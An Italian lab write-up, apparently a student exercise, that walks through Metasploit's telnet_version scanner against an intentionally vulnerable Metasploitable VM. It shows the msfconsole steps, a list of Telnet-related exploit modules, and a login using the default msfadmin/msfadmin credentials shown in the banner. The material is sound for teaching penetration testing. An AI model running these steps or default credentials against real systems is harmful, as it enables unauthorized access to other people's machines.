

Hack Metasploit Telnet

Cos'è un Exploit

In sicurezza informatica, un "exploit" è un software, un codice o una sequenza di comandi che sfrutta una specifica vulnerabilità in un sistema o un'applicazione al fine di ottenere un vantaggio non autorizzato.

Le vulnerabilità possono essere errori di progettazione, bug di implementazione o altri problemi che possono essere sfruttati.

Cos'è il modulo auxiliary telnet_version

Il modulo "`auxiliary/telnet/telnet_version`" in Metasploit è progettato per eseguire una scansione di versione Telnet su un host di destinazione per identificare la versione specifica del servizio Telnet in esecuzione. Questo modulo rientra nella categoria "auxiliary" di Metasploit, che comprende moduli non necessariamente finalizzati all'esecuzione di exploit, ma piuttosto a fornire informazioni o eseguire attività ausiliarie.

Esercizio

Utilizzare Metasploit per sfruttare la vulnerabilità relativa a Telnet con il modulo `auxiliary telnet_version` sulla macchina Metasploitable.

```
kali@kali: ~  
(kali@kali)-[~]  
$ msfconsole  
  
      .:ok000kdc'      'cdk000ko:.  
      .x0000000000000c      c000000000000x.  
      :00000000000000k,      ,k00000000000000:  
'000000000k000000: :000000000000000000'  
o0000000.MMMMM.o0000o0000l.MMMMM.o0000000o  
d00000000.MMMMMM.c00000c.MMMMMM.o0000000x  
l00000000.MMMMMMMMM;d.MMMMMMMMM.o0000000l  
.00000000.MMM.;MMMMMMMMMMMM.MMM.o0000000.  
c0000000.MMM.o0c.MMMMM'o00.MMM.o000000c  
o0000000.MMM.o000.MMM.o000.MMM.o000000o  
l00000.MMM.o000.MMM.o000.MMM.o0000l  
;0000'MMM.o000.MMM.o000.MMM;o000;  
.d00o'WM.o0000cccX0000.MX'x00d.  
,k0l'M.o0000000000000.M'dok,  
:kk;.00000000000000;.0k:  
;k000000000000000k:  
,x000000000000x,  
.l0000000l.  
,d0d,  
.  
  
=[ metasploit v6.3.27-dev ]  
+ -- --[ 2335 exploits - 1220 auxiliary - 413 post ]  
+ -- --[ 1385 payloads - 46 encoders - 11 nops ]  
+ -- --[ 9 evasion ]  
  
Metasploit tip: Writing a custom module? After editing your  
module, why not try the reload command  
Metasploit Documentation: https://docs.metasploit.com/
```

Con il comando **msfconsole**,
avviamo l'interfaccia a riga di
comando di Metasploit, fornendo
un ambiente interattivo per l'utilizzo
del framework e l'esecuzione di
attività di penetration testing.

```
kali@kali: ~  
msf6 > search telnet  
  
Matching Modules  
=====
```

#	Name	Disclosure Date	Rank	Check	Descripti
0	exploit/linux/misc/asus_infosvr_auth_bypass_exec	2015-01-04	excellent	No	ASUS info
1	exploit/linux/http/asuswrt_lan_rce	2018-01-22	excellent	No	AsusWRT L
2	auxiliary/server/capture/telnet		normal	No	Authentic
3	auxiliary/scanner/telnet/brocade_enable_login		normal	No	Brocade E
4	exploit/windows/proxy/ccproxy_telnet_ping	2004-11-11	average	Yes	CCProxy
5	auxiliary/dos/cisco/ios_telnet_rocem	2017-03-17	normal	No	Cisco IOS
6	auxiliary/admin/http/dlink_dir_300_600_exec_noauth	2013-02-04	normal	No	D-Link DI
7	exploit/linux/http/dlink_diagnostic_exec_noauth	2013-03-05	excellent	No	D-Link DI
8	exploit/linux/http/dlink_dir300_exec_telnet	2013-04-22	excellent	No	D-Link De
9	exploit/unix/webapp/dogfood_spell_exec	2009-03-03	excellent	Yes	Dogfood C
10	exploit/freebsd/telnet/telnet_encrypt_keyid	2011-12-23	great	No	FreeBSD
11	exploit/windows/telnet/gamsoft_telnet	2000-07-17	average	Yes	GAMSoft T
12	exploit/windows/telnet/goodtech_telnet	2005-03-15	average	No	GoodTech
13	exploit/linux/misc/hp_jetdirect_path_traversal	2017-04-05	normal	No	HP Jetdir
14	exploit/linux/http/huawei_hg532n_cmdinject	2017-04-15	excellent	Yes	Huawei HG
15	exploit/linux/misc/igel_command_injection	2021-02-25	excellent	Yes	IGEL OS S
16	auxiliary/scanner/ssh/juniper_backdoor	2015-12-20	normal	No	Juniper S
17	auxiliary/scanner/telnet/lantronix_telnet_password		normal	No	Lantronix
18	auxiliary/scanner/telnet/lantronix_telnet_version		normal	No	Lantronix
19	auxiliary/scanner/telnet/lantronix_telnet_banner		normal	No	Lantronix

Con il comando **search** cerchiamo tutti moduli in cui è presente la dicitura **Telnet**

```
kali@kali: ~  
msf6 > use auxiliary/scanner/telnet/telnet_version  
msf6 auxiliary(scanner/telnet/telnet_version) > show option  
[-] Invalid parameter "option", use "show -h" for more information  
msf6 auxiliary(scanner/telnet/telnet_version) > show options  
  
Module options (auxiliary/scanner/telnet/telnet_version):  


| Name     | Current Setting | Required | Description                                                                                                                                                                                         |
|----------|-----------------|----------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| PASSWORD |                 | no       | The password for the specified username                                                                                                                                                             |
| RHOSTS   |                 | yes      | The target host(s), see <a href="https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html">https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html</a> |
| RPORT    | 23              | yes      | The target port (TCP)                                                                                                                                                                               |
| THREADS  | 1               | yes      | The number of concurrent threads (max one per host)                                                                                                                                                 |
| TIMEOUT  | 30              | yes      | Timeout for the Telnet probe                                                                                                                                                                        |
| USERNAME |                 | no       | The username to authenticate as                                                                                                                                                                     |

  
View the full module info with the info, or info -d command.  
  
msf6 auxiliary(scanner/telnet/telnet_version) > set rhost 192.168.50.101  
rhost => 192.168.50.101  
msf6 auxiliary(scanner/telnet/telnet_version) > show options  
  
Module options (auxiliary/scanner/telnet/telnet_version):  


| Name     | Current Setting | Required | Description                                                                                                                                                                                         |
|----------|-----------------|----------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| PASSWORD |                 | no       | The password for the specified username                                                                                                                                                             |
| RHOSTS   | 192.168.50.101  | yes      | The target host(s), see <a href="https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html">https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html</a> |
| RPORT    | 23              | yes      | The target port (TCP)                                                                                                                                                                               |
| THREADS  | 1               | yes      | The number of concurrent threads (max one per host)                                                                                                                                                 |
| TIMEOUT  | 30              | yes      | Timeout for the Telnet probe                                                                                                                                                                        |
| USERNAME |                 | no       | The username to authenticate as                                                                                                                                                                     |

  
View the full module info with the info, or info -d command.
```

Con il comando **use**, scegliamo il modulo da utilizzare e con il comando **show options** vediamo le opzioni da modificare

Settiamo l'host con l'ip della macchina da attaccare con il comando **rhost**

```
kali@kali: ~  
msf6 auxiliary(scanner/telnet/telnet_version) > exploit  
[+] 192.168.50.101:23 - 192.168.50.101:23 TELNET  
Warning: Never expose this VM to an untrusted network!  
Contact: msfdev[at]metasploit.com  
Login with msfadmin/msfadmin to get started  
metasploitable login: msfadmin  
Password:  
Last login: Tue Jan 16 03:06:45 EST 2024 on tty1  
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686  
The programs included with the Ubuntu system are free software;  
the exact distribution terms for each program are described in the  
individual files in /usr/share/doc/*/copyright.  
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by  
applicable law.  
To access official Ubuntu documentation, please visit:  
http://help.ubuntu.com/  
No mail.  
msfadmin@metasploitable:~$
```

Con il comando **exploit**
facciamo partire il modulo

Con il comando **telnet**
192.168.50.101 ci connettiamo
alla macchina vittima

Ora abbiamo il controllo della
macchina vittima